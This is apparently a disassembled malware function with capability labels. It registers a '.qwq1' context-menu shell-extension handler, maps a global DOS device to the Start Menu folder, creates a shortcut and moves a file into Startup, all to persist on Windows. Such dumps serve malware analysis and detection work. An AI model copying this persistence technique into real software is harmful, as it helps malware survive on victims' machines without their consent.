Function at 0x1001ab40
Capabilities:
Create shortcut via ishelllink
Delete file
Get common file path
Move file
Persist via contextmenuhandlers registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4c
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp - 0xe40]
push edi
push 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str..qwq1
push 0x80000000
mov dword [ebp - 0xe4c], ecx
call esi
test eax, eax
jne 0x1001abae
push 0xa
push 0x10057964
push 1
push eax
push eax
push dword [ebp - 0xe40]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1001abc0
push dword [ebp - 0xe40]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0xe40]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push 0x10057964
push 0x80000000
call esi
test eax, eax
jne 0x1001abae
push eax
lea eax, [ebp - 0xe40]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.QWQShellExContextMenuHandlers00021401_0000_0000_C000_000000000046
push 0x80000000
call esi
test eax, eax
jne 0x1001abae
push dword [ebp - 0xe40]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0x1a
lea eax, [ebp - 0xa2c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0xa2c]
push eax
lea eax, [ebp - 0x414]
push str._sMicrosoftWindowsStart_MenuPrograms
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0xe40]
push 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
push 0x80000002
call esi
test eax, eax
jne 0x1001abae
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x824]
push 0x10057ad4
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x824]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
lea eax, [ebp - 0x824]
push eax
push 1
push 0
push 0x10057ae4
push dword [ebp - 0xe40]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1001aba2
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0xc34]
push str.GLOBAL___s
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0xc34]
push eax
push 0x10057ae4
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0xe3c]
push str._s1.qwq1
push eax
call edi
add esp, 0xc
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x1001ad91
lea eax, [ebp - 0xe44]
push eax
push 0x100559b0
push 1
push 0
push 0x100559c0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1001ad8b
mov eax, dword [ebp - 0xe44]
lea edx, [ebp - 0xe48]
push edx
push 0x100559a0
push eax
mov ecx, dword [eax]
call dword [ecx]
mov ecx, dword [ebp - 0xe44]
mov esi, eax
push dword [ebp - 0xe4c]
push ecx
mov edx, dword [ecx]
call dword [edx + 0x50]
test esi, esi
js 0x1001ad7f
mov eax, dword [ebp - 0xe48]
lea edx, [ebp - 0xe3c]
push 0
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov eax, dword [ebp - 0xe48]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xe44]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [0x10057b2c]
movups xmm0, xmmword [str._:1.qwq1]
push 0x1f4
mov dword [ebp - 0x60c], eax
lea eax, [ebp - 0x608]
push 0
push eax
movups xmmword [ebp - 0x61c], xmm0
call fcn.10022540
movups xmm0, xmmword [str._:Startup1.qwq1]
mov eax, dword [0x10057b50]
push 0x1e4
movups xmmword [ebp - 0x20c], xmm0
mov dword [ebp - 0x1ec], eax
lea eax, [ebp - 0x1e8]
movups xmm0, xmmword [0x10057b40]
push 0
push eax
movups xmmword [ebp - 0x1fc], xmm0
call fcn.10022540
add esp, 0x18
lea eax, [ebp - 0x20c]
push 4
push eax
lea eax, [ebp - 0x61c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret